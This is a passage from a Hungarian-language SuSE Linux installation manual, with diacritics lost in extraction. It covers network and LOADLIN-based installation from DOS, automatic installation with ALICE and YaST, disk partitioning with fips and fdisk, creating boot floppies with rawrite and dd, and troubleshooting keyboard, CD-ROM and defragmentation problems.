A "msik" szmtgpnek "exportlnia" kell ezt a knyvtrat megfelel mo don. Lpsr l lpsre o 1. Kezdjk meg a kliens teleptst, a 2.2.1 . fejezetben (30. oldal) lertak szerint. 2. Folytassuk a teleptst a 2.2.2 . fejezetben (31. oldal) ismertetett mdszerrel, de: Amikor a Kernel modules jn, vlasszuk a Hlzati krtyk (Networking cards)-ot s tltsk be a szksges meghajtt. Ez nem szksges, ha PLIP-n keresztl teleptnk. Amikor a linuxrc megkrdezi a Forrsmdium-ot, a Hlzat (NFS)-t kell vlasztanunk, s vgigmennnk a menn a hlzati belltshoz. Msik lehet sg az FTP-n keresztli telepts. o 3. Fejezzk be a teleptst a 2.2.3 . fejezetben (35. oldal) olvashat mdon. Lehetsges problmk A telepts megszakad, miel tt valjban elkezd dne, azrt, mert a "mo o sik" gpen a teleptsi knyvtr nem exec engedlyezssel volt exportlva. Javtsuk ki ezt, s kezdjk jra. A kiszolgl nem ismeri a gpet, amelyre a SuSE Linux teleptve lesz. Adjuk meg az j, teleptsre kerl gp nevt s IP-cmt a kiszolgl o /etc/hosts fjljban.

51

2. Az els SuSE Linux telepts o

2.5

Telepts a SETUP s a LOADLIN hasznlatval

Fordtotta: Vradi Istvn

2.5.1

Kapcsoljuk a Windows 95/98-at DOS mdba

t kell kapcsolnunk szmtgpnket vals mdba, DOS al, hogy vgrehajthassuk a teleptst. A LOADLIN program, amit a telept SETUP.EXE program meghv, egy o MS-DOS program, ami csak arra kpes, hogy betltse a Linux kernelt a memriba s elindtsa az alaplinux-ot a memriban akkor, ha vagy a CPU fut vals mdban, vagy egy VCPI szerver4 aktv. A Windows 95/98 DOS ablaka virtulis 8086 mdban fut, de nem ajnl fel VCPI szervert. Ezrt nem m kdik itt a SETUP . u Lpsr l lpsre o Kt alternatva van: vagy tkapcsolunk DOS mdba a Windows 95/98-rl , vagy elindtjuk a gpnket s kivlasztjuk a parancssort (command line input, DOS). Ha a Windows 95/98 mr fut, kattintsunk a Start-ra, Lllts (Shut down), jraindts MS-DOS mdban (Restart the computer in MS-DOS mode). Vagy ha most indtjuk, nyomjuk meg az a Windows indulsnl, s F8 -at vlasszuk a Csak parancssor (command line input)-t. Lehetsges problmk Problmk merlhetnek fel, ha a billenty zetnk nem US-kioszts MSu DOS-ban, vagy a CD-ROM-unkhoz a meghajt nincs betltve: DOS mdban, ha az kezetes bet k s a specilis billenty k nem m kdu u u nek, a megoldst lsd a 2.8.2 . fejezetben (63. oldal). DOS mdban, ha nem tudunk tkapcsolni a CD-ROM meghajtnkhoz, a megoldst lsd a 2.8.3 . fejezetben (63. oldal). 2.5.2 A SETUP meghvsa els lpsek a SETUP programmal o

Mir l is van sz? o A SETUP.EXE elindtja alaplinux rendszernket , ami lehet v teszi, hogy o folytassuk a tnyleges linux teleptssel. Addig hasznljuk a programot, amg nem vlasztunk a kt alternatva kzl, hogy melyik indtsa az alaplinuxot. Elindtottuk az MS-DOS-t vagy egy MS-DOS ablakot (nem vdett (protected) mdban). Az els CD a CD-ROM meghajtnkban van, s el tudjuk rni azt. o
4

pl. az emm386.exe.

52

2.5. Telepts a SETUP s a LOADLIN hasznlatval A SETUP.EXE program segtsgvel az alaplinux rendszer elindul, ami ks bb lehet v teszi, hogy a tnyleges linux-telepts tvegye a helyt. Ino o dtsuk el a SETUP.EXE -t, s menjnk vgig a lpseken, amg elrjk azt a pontot, ahol ki kell vlasztanunk egyet a kt alternatvbl, nevezetesen indts boot lemezzel vagy a LOADLIN -nel a CD-r l. o Lpsr l lpsre o gy folytassuk: 1. Indtsuk el a SETUP.EXE-t a CD-nk gykrknyvtrban. 2. Vlasszunk ki a Magyar nyelvet. Jelljk ki (highlight), s nyomjuk -t. meg a 3. Adjuk meg CD-ROM meghajtnk bet jelt (pl. E: DOS alatt). Ez megu vltozhat, amint egy DOS partcit adunk hozz. 4. A SETUP.EXE dvzl minket; mi egy szp gesztussal vlaszul nyomjuk meg a -t. 5. Az albbi fejezet elmagyarzza az alaplinux indtst (lsd a 2.5.3 fejezetet). 2.5.3 Hogy indtjuk el az alaplinuxot a SETUP -bl? Ktflekppen lehet elindtani alaplinux-rendszernket a SETUP -bl: vagy indt (boot) lemezzel, vagy kzvetlenl a CD-ROM-rl a LOADLIN hasznlatval. Most kell eldntennk, melyiket vlasztjuk. Tovbbi informcik Kzvetlenl CD-r l a LOADLIN.EXE -t hasznlva a legknnyebb s legko nyelmesebb indtanunk az alaplinuxot. Ez DOS alatt fut, betlt egy kernellenyomatot (image-t) CD-r l a RAM-ba, s elkezdi vgrehajtani a kernelkdot. o Ahhoz, hogy ez m kdjn, a szmtgpnek vals mdban kell futnia, vagy u egy VCPI szerver5 kell, hogy aktv legyen virtulis 8086-mdban. Nem lehet sem OS/2 DOS, sem Windows NT DOS ablakot hasznlni. Lemezr l indtani majdnem mindig lehetsges, de ez jval bonyolultabb, s o tbb id t ignyel. Itt most arrl a lemezr l beszlnk, amit a SETUP program o o hoz ltre. A legknnyebb a SuSE indt lemezt (boot disk) hasznlni (vagy a CD-r l indtani). Ezt a lehet sget ks bb megmagyarzzuk, de most marado o o junk a SETUP -pal ltrehozand mgneslemeznl, vagy a kernel kzvetlen, a LOADLIN -nel trtn betltsnl. o Javaslat Vlasszuk a loadlin-es megoldst, amikor csak lehetsges, amg a CDROM-unk tmogatott, s nem dolgozunk OS/2 vagy Windows NT alatt. Ha ktsgnk van, csak prbljuk ki. Ha nem vlik be, csak jra kell kezdennk a 2.5.2 fejezetnl s vlasszuk a "lemezmdot (oppy method)".
5

Egy VCPI szervert nyjt pldul az emm386.exe program.

53

2. Az els SuSE Linux telepts o 2.5.4 A LOADLIN teleptse s az alaplinux betltse

Ebben a lpsben telepteni s hasznlni fogjuk a LOADLIN -t. Ezutn elindtunk egy kernelt DOS-bl s felhozzuk az alaplinux-rendszernket. El rsok o Ha eddig eljutottunk, s megjelenik az els linuxpromptunk, akkor mr teljeo stettk az sszes utastst! Rszletek A SETUP ltrehozza a \LOADLIN knyvtrat a DOS partcinkon. A SETUP.EXE, LOADLIN.EXE, LINUX.BAT fjlokat s a kivlasztott kernelt (zImage) bemsolja ebbe a knyvtrba. Ha ks bb el akarjuk indtani o a Linux-ot, csak rjuk be: Linux.bat, megadva paramterknt a root partcit. A rootpartci kijellst a 2.11.2 . fejezetben (78. oldal) trgyaljuk. E lps vgn a kernel betlt dik s elindul. o Lpsr l lpsre o Most folytassuk a LOADLIN teleptst, hogy elindtsuk alaplinuxrendszernket. 1. Vlasszuk a LOADLIN-t s nyomjunk -t. 2. Megjelenik gpnk RAM mrete. ltalban ennek helyesnek kell lennie, s ezt meg kell er stennk a o megnyomsval. Ha a mret nem egyezik, javtsuk ki. 3. Most nyilatkoznunk kell, hogy CD-ROM meghajtnk tmogatott-e. Mr vlaszoltunk erre a krdsre most is adjuk meg ugyanazt, amit a 2.7.4 . fejezetben (62. oldal) vlaszoltunk. Ha a Linux tmogatja CD-ROM meghajtnkat, csak nyomjuk meg az -t. Ha meghajtnk nem tmogatott, mr bemsoltuk a fjlokat a DOS knyvtrba a 2.4.1 . fejezetben (48. oldal). Csak vlasszuk a Me revlemezt (Hard disk), s nyomjunk Ezutn adjuk -t. meg az tvonalat, ahov bemsoltuk a suse-t. Pldnkban, a 2.4.1 . fejezetben (48. oldal), a \emil-t hasznltuk, gy neknk a \emil-t kell megadni. Nem kell megadnunk a suse alatti knyvtrnevet. 4. Ki kell vlasztanunk egy megfelel kernelt. o 5. Ez a lps a kernelparamterekkel foglalkozik. Soronknt egy paramtert hatrozhatunk meg, egy res sor azt jelenti , befejeztk. Rszletes lers tallhat a kernelparamterekr l a 14.1 . fejezetben o (383. oldal). Teljes listt a teleptssel kapcsolatos kernelparamterekr l a 14.3.2 . fejezetben (385. oldal) tallhatunk. o 6. Most az a krds, vajon teleptsk-e a LOADLIN -t. Vlaszoljunk Igen-t. A SETUP ltrehozza a \LOADLIN knyvtrat, s bemsolja oda a fjlokat. 54

2.5. Telepts a SETUP s a LOADLIN hasznlatval 7. A Linux betltse (Load Linux) opcival elindthatjuk az alaplinux-ot. Ezt kvet en 50-100 sornyi zenet fut vgig a kperny n. o o Ha minden rendben ment, a linuxrc fog dvzlni minket. tlapozhatjuk a kernel zeneteit a Shift + PgUp a s Shift + PgDn billenty kkel. u Ekkor elkezd dhet a telepts, amint az rszletesen a 2.2.2 . fejezetben (31. o oldal) olvashat. Lehetsges problmk Kt ponton merlhet fel problma: vagy a LOADLIN nem tudja a kernelt betlteni, vagy a kernelnek van problmja a hardverrel: tl kevs a memria a LOADLIN -nek a kernel betltshez. Lsd a 2.8.8 . fejezetben (66. oldal). A LOADLIN nem tudja elindtani a kernelt. Ekkor a processzor virtulis 8086 mdban fut, de nincs VCPI szerver jelen. Lsd a 2.8.10 . fejezetben (66. oldal). A LOADLIN nem m kdik. Lsd a 2.8.9 . fejezetben (66. oldal). u A CD megsrlt. Lsd a 2.8.4 . fejezetben (63. oldal).

55

2. Az els SuSE Linux telepts o

2.6

A SuSE Linux automatikus teleptse s belltsa

Fordtotta: Vradi Istvn

Mirt automatizljunk? A Linux-rendszerek automatikus teleptse s belltsa lehet v teszi , hogy o egy egysgestett szerverparkot lltsunk ssze. Mg kliensekhez is el nyo sebb egy bizonyos mennyisgen fell az automatikus, mint a manulis telepts. Ez a szabvnyosts kiterjed a rendszer verzik s szoftverek llapotra, fjlrendszerek szerkezetre s a belltsi fjlokra. Az automatizls garantlja, hogy egy teleptsi md, ami egyszer mr bizonytottan sikeres, hasznlhat egy szmtgpen brmikor, szakrt i tuds nlkl. E mdon o lehet sg van a szerverpark problmamentes b vtsre. Ez a szabvnyoso o ts nyilvnval segtsg a rendszeradminisztrtoroknak: ha az azonos kongurci el rs, nem kell keresnik a belltsi fjlokat minden szerveren, o ahnyszor csak teleptst vgeznek. Segtsg az is, hogy a szoftverek az elvrt mdon viselkednek, mivel mindentt azonos verzik futnak, tovbb a hibajavtsok is valamennyi szerveren rvnyre jutnak. 2.6.1 Az ALICE ttekintse

Az ALICE Automatikus Linux-teleptsi s belltsi krnyezet (Automatic Linux Installation and Conguration Environment) integrlja a teleptst s a lnyegesebb belltsokat. A belltsi adatokat, CVS-en alapul kezelsk folytn, klnbz felhaszo nlknt, klnbz helyekr l is karban tudjuk tartani. o o Lehet sg van egy gp besorolsra egy vagy tbb klnbz osztlyba. Ez o o azt jelenti, hogy klnbz gpeket tudunk annyira "hasonlnak" tartani, o amennyire az csak lehetsges; csak a valban szksges adatokat kell megadnunk a gpfgg belltsi fjlban. Kialaktsukhoz a kongurcis adatokat o hrom klnbz knyvtrba osztjuk szt. A templates knyvtr tartalo maz szmos alaprtelmezst, a classes knyvtr tartalmazza az osztlyspecikus belltsokat, az info knyvtr pedig a hostspecikus informcikat. Az alaprtelmezs fellrhat az osztlyrtkekkel, azok pedig a hostra kijellt specilis rtkekkel. Az ALICE egy fejl d project, ha pl. nem tallunk semmilyen modult az o o ltalunk hasznlt szoftverek belltsra, ez mg mindig vghezvihet fgo getlenl vagy egy project keretn bell; lsd a Tmogatsi Fggelket, az 524. oldalon. Tovbbi informci Az ALICE architektrjrl, moduljairl, egy kiszolgl teleptsr l, valao mint egy kongurcis folyamatrl az alice csomag dokumentcijban tallunk b vebb informcikat. o 56

2.7. Partcik 2.6.2 Automatikus telepts a YaST1 -gyel

A YaST1 "Automatikus Teleptse" szintn hasznlhat, fggetlenl a teljes ALICE projekt kerett l; tleteket lsd az albbi cikkben o http://sdb.suse.de/sdb/de/html/cg_autoinstall.html

2.7

Partcik

Fordtotta: Vradi Istvn

2.7.1

Terlet ltrehozsa a Linux szmra (partcionls)

Mir l is van sz? o El kell ksztennk merevlemeznket a partcionlshoz. Remljk, hogy o van egy kis id e rsz alapos tolvassra. Nagyon javasoljuk, hogy legyen o lemeznk vagy szalagunk biztonsgi msolatra, s indtlemeznk a jelenlegi opercis rendszer elindtsra. Rszletek Partcionlssal merevlemeznket tbb, nll rszre oszthatjuk fel. Egyik oka a partcionlsnak, hogy gy merevlemeznkn egyszerre lehet tbb klnbz opercis rendszer, akr klnbz tpus fjlrendszerekkel is. A o o merevlemez cilinderekre van osztva. Minden cilinder mindig pontosan azonos mennyisg trackb l ll, a 0. cilinder van legbell. u o Hogy csinlunk helyet a linux partcinknak? Egyes partcik a merevlemezr l letrlhet k, gy a rajtuk lv sszes o o o adat (ami a partcin volt) el fog veszni. Ez a hely most j partcik rszre rendelkezsre ll (pldul Linux). Feloszthatjuk mg ezt is kt vagy tbb partcira. Brmelyik partci kijellhet egy eltr fjlrendszernek. Trlsvel mino o den, a partcin lv adat elveszik. o MS-DOS vagy Windows 95/98 alatt cskkenthetjk a merevlemezen lv utols partci mrett anlkl, hogy fjlt vesztennk rla; biztoso tanunk kell egy tredezettsgmentest (defragmentation) programmal, o hogy minden fjl a partci elejre kerljn. Ha csak egy MS-DOS vagy Windows partcink van, ly mdon nagyon knnyen kszthetnk helyet a linuxpartcinak. Tredezettsgmentests utn egy specilis programmal pldul az ingyenes ps programmal cskkenthetjk a cilinderek fels szmt, gy a partci kisebb lesz. A ps-et az els CD-n o o a dosutils knyvtrban tallhatjuk meg. A legknnyebb persze egy j merevlemezt venni. Ez, termszetesen nmi pnzbe kerl. 57

2. Az els SuSE Linux telepts o A partcis tblban brmilyen vltoztatst roppant vatosan kell vgrehajtanunk! Olvassuk el az idevonatkoz programok dokumentcijt! Slyos problmk merlhetnek fel a partcis tbla cserje miatt; mg el is veszthetjk az sszes adatunkat. A SuSE-nl nem tudunk felel ssget vllalni o ezrt! Nagyon javasoljuk, hogy legyen legalbb egy indt lemeznk s egy biztonsgi msolatunk a fontosabb adatainkrl. Lpsr l lpsre o gy folytatjuk merevlemeznk partcionlst: 1. Ha eddig mg nem tudnnk, most mindenkppen meg kell tudnunk, hogy merevlemeznk hny partcit tartalmaz, s azok milyen mret ek. Ehhez u a feladathoz hasznljuk opercis rendszernk fdisk programjt. 2. Meghatrozzuk, hogy igazbl hny partcira van szksgnk, s melyiket milyen mret re osztjuk ki. Err l informcit tallhatunk a 2.9 . u o fejezetben (69. oldal) s a 2.10 . fejezetben (71. oldal). 3. Jegyezzk fel a partcik adatait; szksgnk lesz arra ks bb a teleptsi o eljrs sorn. 4. Nagyon ajnlatos ezen a ponton merevlemeznkr l biztonsgi mentst o kszteni! Ha nincs biztonsgi mentst kszt szalagunk, vagy nincs streo amer teleptve, s nem akarunk elmenteni mindent mgneslemezre (ami fradsgos munka), legalbb a legfontosabb adatainkrl s fjljainkrl ksztsnk mentst (pl. autoexec.bat, config.sys, *.ini, stb.). Ksztsnk indt lemezt opercis rendszernkhz, s gy z djnk meg o o rla, hogy tudunk is indtani vele! Tbb program jl jhet, ha kznl van az indt lemeznkn, pl. fdisk , egy szerkeszt , egy formattlprogram o s egy biztonsgi mentst kszt program. o 5. A kvetkez lps rendszernk belltstl fgg. o DOS/Windows 95/98, EGY partci van a merevlemeznkn, s NINCS biztonsgi msolatunk Le kell cskkentennk partcink mrett adatveszts nlkl. Kltztessk sszes adatunkat a partcink elejre egy olyan eszkz ignybevtelvel, mint a defrag (MS-DOS 6.xx vagy Windows 95/98). A tredezettsgmentest program ltalban nem mozgatja a rejtett o vagy rendszerfjlokat, mert azok nha rsvdettek, s kijellt helyk van a merevlemezen; elmozdtsuk kedvez tlen hatst vlthat ki. Ha biztosak o vagyunk benne, hogy nincs ilyen adat a merevlemeznkn, akkor megvltoztathatjuk a szksges fjlok hidden vagy system attribtumt, vagy attl fgg en, hogy milyen tredezettsg- mentest proo o gramot hasznlunk, mg "knyszerthetjk (force)" is az ilyen fjlok tredezettsg-menteststst. Vegyk gyelembe, hogy a Windows "swap" fjlja is egy rejtett fjl. Ha ez az utunkban van, le kell vennnk a vlasztsunkrl, a Windows-ban kikapcsolva a virtulis memrit "(disable virtual memory)". Amikor mr elg helyet szabadtottunk fel, vltsunk a SuSE CD-n a \dosutils\fips15 knyvtrba. Itt megtalljuk a ps.exe-t, amivel 58

2.7. Partcik kisebbre vehetjk a partcinkat. Tanulmnyozzuk a ps dokumentcijt gyelmesen, mert a partcis tbla megvltoztatsa elg trkks is tud lenni! A ps.exe program csak DOS alatt fut, Windows alatt nem; ki kell lpnnk Windows all, vagy (ha Windows 95/98-at hasznlunk) t kell vltanunk DOS mdba (lsd a 2.5.1 . fejezetben (52. oldal)). A ps.exe lefutsa utn lesz egy msodik partcink, amit ks bb feloszthatunk lio nuxpartcikra. A \dosutils\fips\fips20 alatti ps.exe mr kpes cskkenteni a fat32 partcikat is. Ksztsnk biztonsgi msolatot, miel tt kiprblo juk ezt a ps-verzit! DOS/Windows 95/98 TBB partcival, vagy VAN egy teljes BIZTONSGI MSOLATUNK az sszes fjlunkrl Letrlhetjk DOS partcinkat, s utna jra feltelepthetjk kisebb mretben. El fogjuk veszteni az sszes adatunkat azon a partcin, gy kell, hogy legyen egy teljes biztonsgi mentsnk kznl (fjl ok biztonsgi mentse, nem a lenyomat (image backup)!). Az fdisk -kel letrljk az sszes partcit, s jakat teleptnk helyettk. Utna formattljuk ezeket a partcikat, felteleptjk opercis rendszernket, s visszamsoljuk adatainkat a biztonsgi msolatot tartalmaz lemeznkr l (ne felejtsk el, o hogy a biztonsgi msolatot kszt (backup) programunknak az indt o lemezen kell lennie). OS/2 Az albbi lehet sgeink vannak: o Cskkentsk OS/2 partcinkat. Ennek megvalstshoz el kell mentennk minden adatunkat az OS/2 partcinkrl, letrlni ezeket a partcikat az OS/2 fdisk -kel, s visszatelepteni azokat cskkentett mretben. Az gy keletkezett helyet fogjuk ks bb felhasznlni linuxparo tcikra. A jv ben a Linuxot tervezzk hasznlni az OS/2 helyett. Ekkor o mindssze a partci tpust kell tcserlnnk a ks bbiekben Linuxra. o Vagy letrljk az sszes OS/2 partcinkat, s jra ltrehozzuk, mint linuxpartcit. Vesznk egy j merevlemezt. A formattlst s partcionlst ks bb o a YaST -tal vgezzk el. 6. jraindtjuk szmtgpnket. 7. Ellen rizzk le, vajon a rgi rendszernk mg m kdik-e! A linux parto u cikat az jonnan ltrehozott helyre a YaST -tal teleptjk fel ks bb. o Lehetsges problmk Az albbi problmk merlhetnek fel: A partci mrett taln nem elgg cskkentettk, mert a defrag nem tud elmozdtani nhny fjlt. Lsd a 2.8.1 . fejezetben (62. oldal). 59

2. Az els SuSE Linux telepts o DOS/Windows alatt a CD-ROM egy msik bet jelet kapott; Windows 95/98 u alatt a gp lefagyott. Lsd a 2.8.12 . fejezetben (67. oldal). 2.7.2 Indts a 2. CD-vel

Akr az els CD, a msodik CD is indthat (bootable). Az els CD egy o o 2,88 MB mret nagy indt lenyomatot (boot image) hasznl, a msodik CD u egy hagyomnyos, 1,44 MB mret t tartalmaz. u A msodik CD-t kell hasznlnunk, ha biztosan tudjuk, hogy tudunk indtani CD-r l, azonban a dolgok nem m kdnek az els CD-vel (ez ltalban "knyo u o szermegolds"). Sajnos nem minden BIOS ismeri fel helyesen a nagy lemezlenyomatokat (images). 2.7.3 Indt lemez ltrehozsa DOS alatt

El rsok o Szksgnk van egy formattlt 3.5-Zoll-os mgneslemezre (oppy disk) s egy indthat 3.5-Zoll-os meghajtra (oppy drive). Ha Windows 95/98 alatt dolgozunk, a setup-ot MS-DOS mdban kell indtanunk, s nem egy DOS ablakbl. Tovbbi informci Az els CD a /disks knyvtrban tbb lemezlenyomatot is tartalmaz. Egy o ilyen lenyomat tmsolhat mgneslemezre a megfelel kiegszt prograo o mokkal, ezt a lemezt hvjuk azutn indt lemeznek (boot disk). Szintn ezen a lemezlenyomaton vannak a "betlt k (loader)", a Syslinux s o a linuxrc program. A Syslinux lehet v teszi, hogy kivlasszunk egy kernelt o az indtsi eljrshoz, s megadjunkparamtereket hardvernk szmra, ha szksges. A linuxrc program tmogatja a kernelmodulok betltst (specilisan) a hardvernkhz, s azutn elindtja a teleptst. ltalban a mellkelt SuSE boot disk hasznlhat indtsra. Csak ha a klnleges hardvereket nem tmogatja az indt lemezen lv modularizlt kernel, o vagy ha letltnk egy lemezlenyomatot az Internetr l, pldul az o ftp://ftp.suse.com cmr l, ekkor kell ltrehoznunk sajt indt leo mezt, amint azt itt lertuk. Indtlemez ksztse a Setup-pal Lpsr l lpsre o gy hozunk ltre egy indt lemezt: 1. Indtsuk el a setup-ot kzvetlenl az els CD-r l. o o 2. Vlasszuk a floppy-t s nyomjunk majd vlasszuk a -t, Boot-ot s jra . 60

2.7. Partcik 3. Ki kell vlasztanunk egy megfelel kernelt, hogy az tmogassa pl. a o SCSI adapternket, ha van ilyennk. A setup megmutatja a kernellersok lnyeges rszt. Ha tovbbi informcira van szksgnk, megnzhetjk a \disks\readme.dos alatt. Ne felejtsk el kernelnk nevt, ks bb o szksgnk lesz r. Most nyomjunk -t. 4. Kszen vagyunk egy indt lemez ltrehozsra. Tegynk be egy formattlt DOS lemezt a 3.5-Zoll-os meghajtba, s vlasszuk ki a lemezt, amit ltre akarunk hozni. Csak az indt lemez szksges (A Root nem kell tbb a SuSE -t. Linux-nak). Vigyk a kurzort a Boot-ra s nyomjunk A setup megkr, hogy er stsk meg a lemez behelyezst. Nyomjunk o s a lemez rsa elkezd dik. -t, o Amikor vgeztnk, nyomjunk -t. Vlasszuk a Done-t hogy kilpjnk ebb l a kperny b l s a setupo o o bl. Indtlemez ksztse a rawrite-tal Alternatvaknt esetleg hasznlni akarjuk (a taln lassabb) rawrite.exe DOS programot (els CD \dosutils\rawrite knyvtr), hogy megrjuk a o lemezt a boot promptnl. A szabvnyos lemezlenyomatot az els CD /disks knyvtra tartalmazza; o olvassuk el a README fjlt. A bootdisk vagy a scsi01 lenyomat a szoksos vlaszts a szabvnylemezhez. Az sszes kernel a /suse/images knyvtrban tallhat, kiterjeszts nlkl. Ha szksgnk van a szabvnyos lemezre , ami a SuSE Linux-szal jn, akkor az albbiak szerint kell eljrnunk; felttelezve, hogy a CD knyvtrban vagyunk:
Q:> dosutils\rawrite\rawrite disks\eide01

A dolgok egy kicsit bonyolultabbak, ha pldul egy specilis EIDE chipsethez val kernelre van szksgnk; SCSI tpus kernel; ebben az esetben el szr o a szabvny lenyomatot (bootdisk) kell a lemezre msolnunk, s azutn fellrni a tnyleges kernelt (linux) a specilis EIDE kernellel (pldul az eide.ikr-rl):
Q:> dosutils\rawrite\rawrite disks\bootdisk Q:> copy suse\images\eide.ikr a:\linux

2.7.4

Indt lemez ksztse UNIX alatt

El rsok o Szksgnk van egy Unix/Linux rendszerhez, amin elrhet a CD-ROM o meghajt, valamint egy formattlt mgneslemezre. gy hozzuk ltre az indtlemezt: 1. Ha formattlnunk kell egy lemezt:
meggyfa: # fdformat /dev/fd0u1440

61

2. Az els SuSE Linux telepts o 2. Csatoljuk be (mount) az els CD-t pl. a /cdrom al): o
meggyfa: # mount -tiso9660 /dev/cdrom /cdrom

3. Vltsunk a CD disks knyvtrba:


meggyfa: # cd /cdrom/disks

4. Hozzuk ltre az indt lemezt az albbi paranccsal :


meggyfa: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k

A disks/README fjlban olvashatunk arrl, hogy milyen tulajdonsgai vannak az egyes kerneleknek; ezek a fjlok a more-ral vagy a less-sel olvashatk (a less-r l lsd a 19.7.3 . fejezetben (500. oldal)). o 5. Ha egy msik kernelre van szksgnk, az albbiak szerint folytassuk:
meggyfa: # dd if=/cdrom/disks/scsi01 of=/dev/fd0 bs=8k meggyfa: # mount -t msdos /dev/fd0 /mnt meggyfa: /mnt/linux meggyfa: # umount /mnt # cp /cdrom/suse/images/eide.ikr

2.7.5

Tmogatja a Linux a CD-ROM-unkat?

A Linux mostmr majdnem minden CD-ROM meghajtt tmogat. Az ATAPI meghajtk hasznlata (ezeket a meghajtkat csatlakoztatjk az EIDE vezrl hz) egyltaln nem jelenthet problmt. o A SCSI CD-ROM meghajtk hasznlata, csak annyiban rdekes, hogy a Linux tmogatja-e a SCSI vezrl nket (a tmogatott SCSI vezrl k listja o o a Fggelkben tallhat). Ha a SCSI vezrl nket nem tmogatja , s oda o egy merevlemezt csatlakoztattunk, akkor klnben is problmnk lesz. Sok specilis CD-ROM meghajtt tmogat a Linux (lsd a fggelket). Itt merlhet fel a legvalszn bben problma. Ha a meghajtnk itt nincs u megemltve, megprblhatunk vlasztani egy hasonl tpust. Id kzben a prhuzamos portra csatlakoz CD-ROM meghajtk nagyon o npszer ek lettek. Sajnlatos mdon erre nincs szabvny, ami vratlan u problmkhoz vezethet. A SuSE Linux sok alfa meghajtt tartalmaz nhny eszkzhz. Ha egyik sem m kdik, DOS-on keresztl kell telepu tennk. Tartsuk szem el tt, hogy nhny eszkzt ezek kzl, csak DOS o alatti belltsuk utn tudunk elrni. gy esetleg egy kikapcsols nlkli, jraindtsra (warm reboot) lehet szksgnk.

2.8

Problmk lersa

Fordtotta: Vradi Istvn

2.8.1

Fjlokat nem lehet mozgatni

A system vagy hidden attribtum fjlokat nem tudja elmozdtani a tredezettsgmentest program. Ha meg akarjuk tudni, hogy mely fjlok okozo hatnak problmkat, rjuk be: attrib \*.* /s > <listfile> 62

2.8. Problmk lersa A <listle> fjlban lthatunk egy teljes listt a merevlemeznkr l. Azonosto hatjuk azokat a fjlokat, melyek problmkat okoznak, s megvltoztathatjuk azokat: attrib -S -H <fjlnv> vatosan folytassuk, ne trljk le az rsvdett fjlokat, lland (permanent) swap fjlokat, vagy ms rendszerspecikus fjlokat. Tredezettsgmentests utn vissza kell lltanunk a megvltoztatott attribtumokat. Windows alatt hasznlhatjuk a "Fjlkezel t (Filemanager)" vagy az o "Explorer"-t erre a clra. Ha ez nem m kdik, r kell sznni magunkat, s t kell partcionlni merevu lemeznket. Ez annyit jelent, hogy el kell mentennk sszes fontos fjlunkat, hogy vissza tudjuk majd lltani azokat, amikor befejeztk merevlemeznk tredezettsgmentestst. Alternatva lehet az, hogy vesznk egy jabb merevlemezt. Mivel az rak rohamosan cskkennek, ez taln nem is olyan rossz tlet... 2.8.2 Nincs magyar billentyuzet DOS mdban

A config.sys fjlba rjuk be az albbi kt sort:


device=C:\WINDOWS\COMMAND\display.sys con=(ega1) Country=036,852,C:\WINDOWS\COMMAND\country.sys

DOS mdban adjuk ki a kvetkez parancsokat: o


lh mode con cp prep=((852) C:\WINDOWS\COMMAND\ega.cpi) lh mode con cp select=852 lh keyb huC:\WINDOWS\COMMAND\keybrd2.sys

vagy egyszer en adjuk hozz a fenti hrom sort az autoexec.bat fjlhoz. u Ha mshol van a Windowsunk, akkor aszerint igaztsuk ki az tvonalat (path). 2.8.3 Nincs CD-ROM meghajt Windows 95/98 DOS ablakban

MS-DOS mdban csak azok a meghajtk llnak rendelkezsnkre, amiket a config.sys s az autoexec.bat betlttt. rtelemszer en nem tettk u a CD-ROM meghajtnkat ezekbe a fjlokba, mivel a Windows 95/98 sajt meghajtval rendelkezik. A CD-ROM meghajt DOS ablakban trtn haszo nlathoz ksztennk kell egy shortcut-ot az MS-DOS parancssorhoz. Ezutn a jobb egrgombbal nyissuk ki ennek a shortcut-nak a tulajdonsgok (properties) menjt s a Program fl alatt kattintsunk a Halad (Advanced) gombra. Itt kell megadnunk a CD-ROM meghajtnkat, hogy az m kdjn egy DOS ablakban. u 2.8.4 A CD megsrlt

Ez a lehet sg rendkvl ritka, de nem zrhat ki teljesen. Ebben az esetben o fel kell vennnk a kapcsolatot a hardver rtkest jvel. o 63

2. Az els SuSE Linux telepts o 2.8.5 Az ATAPI CD-ROM olvass kzben lefagy

Ha az ATAPI CD-ROM-unkat nem ismeri fel, vagy lefagy, mikzben olvas, ezt leggyakrabban a helytelenl teleptett hardver okozza. Minden eszkzt az EIDE vezrl re, megfelel sorrendben kell csatlakoztatnunk. Az els eszkz o o o a master, az els vezrl n; a msodik eszkz a slave, az els vezrl n. A o o o o harmadik eszkznek, masternek kell lennie a msodik vezrl n, s gy tovbb. o Gyakran el fordul az, hogy csak egy CD-ROM van az els eszkzn kvl. A o o CD-ROM meghajtt ilyenkor gyakran csatlakoztatjuk mint mastert a msodik vezrl hz (msodik IDE vezrl ). Ez helytelen, s a Linux esetleg nem tud o o mit kezdeni ezzel a "kiesssel". Megprblhatjuk kijavtani ezt a megfelel o kernelparamter tadsval (hdc=cdrom) (lsd a 14.3.2 . fejezetben (385. oldal)). Nha egy eszkz egyszer en "rosszul van belltva (mis-jumpered)". Ez azt u jelenti, hogy belltva (jumpered) slave-knt van, de masterknt van csatlakoztatva, vagy fordtva. Ktsg esetn ellen rizzk le hardvernk belltst, o s javtsuk ki, ahol szksges. Van mg egy sorozat hibs EIDE chipset, legtbbje mr azonostva van; erre van egy specilis kernel, ami kezeli az ilyen eseteket. (ld. a /disks/ README-t a teleptsi CD-ROM-on; a szksges kernelparamterek rszletes lersa a 14.3.2 . fejezetben (385. oldal) s a 13 . fejezetben (375. oldal) tallhat. Ha az indts nem megy egyb l, akkor prbljuk meg az albbi kernelpao ramtereket. Az indtsi promptnl (boot:) adjuk meg: boot: linux <paramterek> (lsd lejjebb) Megjegyzs: Ne felejtsk el berni a kernel nevt (linux) a tnyleges paramterek el! hd<x>=cdrom <x> jelentse a, b, c, d stb. s az albbiak szerint kell rtelmeznnk: a Master az els IDE vezrl n o o b Slave az els IDE vezrl n o o c Master a msodik IDE vezrl n o ... Egy plda a <paramterre>: hdb=cdrom Ezzel a paramterrel meghatrozhatjuk a CD-ROM meghajtt a kernelnek, abban az esetben, ha nem tallja azt magtl meg, s ha egy ATAPI CD-ROM meghajtnk van. ide<x>=noautotune <x> jelentse 0, 1, 2, 3 stb. s az albbiak szerint kell rtelmeznnk: 0 1. IDE vezrl o 1 2. IDE vezrl o ... 64

